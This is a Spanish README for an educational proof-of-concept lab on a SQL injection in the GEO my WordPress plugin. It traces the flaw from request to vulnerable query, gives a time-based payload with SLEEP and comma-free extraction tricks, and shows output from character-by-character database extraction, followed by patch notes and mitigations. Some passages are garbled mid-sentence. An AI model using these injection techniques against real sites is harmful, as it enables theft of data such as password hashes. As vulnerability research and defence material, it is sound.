## https://sploitus.com/exploit?id=E421EB08-F9A1-5526-A5FB-B7718898A805
# GeoLeak β PoC de CVE-2026-52715
> Proof of Concept educativa de **GeoLeak** (CVE-2026-52715), inyeccion SQL no autenticada (CVSS 9.3) en el plugin **GEO my WordPress &nelatlng=β¦ β
β pagina publica con shortcode [gmw form="1"] β
ββββββββββββββββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 2. GMW_Form::set_default_values() β
β action=fs => formulario marcado como enviado β
β get_form_values() toma $_SERVER['QUERY_STRING'] β
ββββββββββββββββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 3. gmw_get_form_values() (gmw-functions.php:512) β
β parse_str($query_string, $output) sin lista de permitidos β
β $output['swlatlng'] llega intacto β
ββββββββββββββββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 4. parse_query_args() (class-gmw-form-core.php:794) β
β gmw_swlatlng / gmw_nelatlng copiados a los argumentos de busquedaβ
ββββββββββββββββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 5. gmw_get_locations_within_boundaries_sql() (gmw-functions:669) β
β $sw = explode(',', $southwest); β
β "AND ( gmw_locations.latitude BETWEEN {$sw[0]} AND {$ne[0]} )" β
β interpolacion directa: sin prepare, sin validacion β
ββββββββββββββββββββββββββββββββββββββββββββββββββββ¬βββββββββββββββββββ
βΌ
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
β 6. WP_Query -> $wpdb->get_results() β
β SQL: ... AND ( gmw_locations.latitude BETWEEN β
β 1 AND SLEEP(5) AND 40.416775 AND 41 ) ... β
β respuesta retardada 5s / total_results = oraculo β
βββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
```
---
## Requisitos
- Docker y Docker Compose (probado con Docker 29.4.1 / Compose v5.2.0)
- `curl` y `awk` para el exploit
- Puerto 3080 libre (o cambia el mapeo en `docker-compose.yml`)
---
## Estructura del repositorio
```
POC-GeoLeak-CVE-2026-52715/
βββ docker-compose.yml WordPress 6.8 (PHP 8.2) + MariaDB 11
βββ docker/
β βββ Dockerfile Imagen WP + WP-CLI + entrypoint del laboratorio
β βββ lab-entrypoint.sh Arranque + siembra automatica en el primer boot
β βββ seed.sh Instalacion WP, formulario, post geolocalizado
β βββ geo-my-wp/ Plugin GEO my WordPress 4.5.5 (codigo vulnerable)
βββ poc/
β βββ poc.sh Exploit: time-based + boolean-based + exfiltracion
βββ docs/
β βββ analisis-tecnico.md Cadena completa request -> SQL, con codigo
β βββ diff-parche-4.5.5.1-gmw-functions.php.diff Parche oficial real
βββ LICENSE
βββ README.md
```
---
## Guia rapida de uso
```bash
# 1. Levantar el laboratorio (primer arranque: 60-90 s)
docker compose up -d --build
# 2. Comprobar que la siembra termino
docker compose logs wordpress | grep lab-entrypoint
# [lab-entrypoint] laboratorio listo
# 3. Ejecutar la PoC
./poc/poc.sh
# 4. Destruir el laboratorio
docker compose down -v
```
Parametros configurables del exploit:
```bash
TARGET=http://localhost:3080 PAGE_ID=5 FORM_ID=1 SLEEP=5 ./poc/poc.sh
```
Acceso a WordPress: `http://localhost:3080` con **admin/admin**. La pagina con el formulario vulnerable es `http://localhost:3080/?page_id=5`.
> Nota: la fila semilla en `wp_gmw_locations` es imprescindible. La consulta usa INNER JOIN contra esa tabla: sin filas el WHERE inyectado no se evalua y `SLEEP()` no duerme.
---
## Verificacion de la explotacion
Salida real de la ultima ejecucion contra el laboratorio (14 de agosto de 2026):
```
$ ./poc/poc.sh
===================================================
CVE-2026-52715 | GEO my WordPress total_results=1
Condicion FALSE -> total_results=0
[+] VULNERABLE: el numero de resultados depende de la condicion inyectada
[*] Extraccion de VERSION() caracter a caracter...
[+] VERSION() = 11.8.8-MariaDB-ubu2404
[*] PoC completado
```
Verificacion cruzada directamente contra la base de datos:
```
$ docker exec cve-2026-52715-db mariadb -u wordpress -pwordpress wordpress \
-N -e "SELECT VERSION();"
11.8.8-MariaDB-ubu2404
```
Contra la version parcheada (>= 4.5.5.1) la fase time-based responde en milisegundos y la PoC termina con `[-] No se detecto retardo (objetivo posiblemente parcheado >= 4.5.5.1)`.
---
## Analisis tecnico
Detalle completo, con los fragmentos de codigo y las lineas exactas, en [docs/analisis-tecnico.md](docs/analisis-tecnico.md). Puntos clave:
- **Sink:** `gmw_get_locations_within_boundaries_sql()` interpola `{$sw[0]}`, `{$sw[1]}`, `{$ne[0]}`, `{$ne[1]}` directamente en el WHERE (los cuatro puntos son inyectables).
- **Source:** `gmw_get_form_values()` procesa el query string completo con `parse_str()` sin lista de permitidos.
- **Restriccion del exploit:** el payload no puede contener comas porque PHP hace `explode(',', $southwest)`. La PoC usa `CASE WHEN a THEN b ELSE c END` en lugar de `IF(a,b,c)` y `SUBSTRING(x FROM n FOR 1)` en lugar de `SUBSTRING(x,n,1)`.
- **Oraculo booleano:** el JSON embebido del mapa expone `"total_results":N`; el exploit calibra el rango de longitud (`-10..1`) para que la fila semilla sobreviva cuando la condicion es verdadera.
- **Tecnicas:** time-based y boolean-based verificadas; UNION-based teorica (hay que cuadrar las columnas de `wp_posts.*` mas los campos gmw); error-based no practica (wpdb silencia errores).
- **Endpoints AJAX descartados:** los tres handlers `wp_ajax_nopriv_*` del plugin o no ejecutan SQL (version gratuita), o estan protegidos por nonce. El vector del CVE en la version gratuita es el GET del formulario.
---
## El parche oficial (4.5.5.1)
Diff real completo en [docs/diff-parche-4.5.5.1-gmw-functions.php.diff](docs/diff-parche-4.5.5.1-gmw-functions.php.diff). Entre 4.5.5 y 4.5.5.1 unicamente difieren tres ficheros (`geo-my-wp.php` de version, `readme.txt` de changelog y `includes/gmw-functions.php`):
1. Nueva funcion validadora `gmw_parse_latlng_boundary()`: exige exactamente 2 partes numericas finitas con `|lat| prepare()` y marcadores `%f`.
Version actual del plugin: 4.5.5.3 (julio de 2026), parcheada.
---
## Mitigacion
1. **Actualizar a GEO my WordPress >= 4.5.5.1** (medida principal).
2. Si no se puede actualizar de inmediato: regla WAF que bloquee valores no numericos en `swlatlng`/`nelatlng`, o virtual patching (Patchstack y similares).
3. Revisar si los formularios `[gmw]` publicos necesitan la busqueda por limites de mapa.
4. Monitorizar accesos con patrones `swlatlng`/`nelatlng` anormales en los logs.
5. Si el sitio estuvo expuesto: rotar secretos y reconsiderar hashes de `wp_users`, la inyeccion permite leerlos.
---
## Creditos
- **Descubrimiento:** researcher **alvarodh5** (informado el 10 de abril de 2026, publicado el 15 de junio de 2026 via Patchstack).
- [Ficha de Patchstack](https://patchstack.com/database/wordpress/plugin/geo-my-wp/vulnerability/wordpress-geo-my-wordpress-plugin-4-5-5-sql-injection-vulnerability)
- [Registro NVD CVE-2026-52715](https://nvd.nist.gov/vuln/detail/CVE-2026-52715)
- [GEO my WordPress en wordpress.org](https://wordpress.org/plugins/geo-my-wp/)
---
## Licencia
[MIT](LICENSE)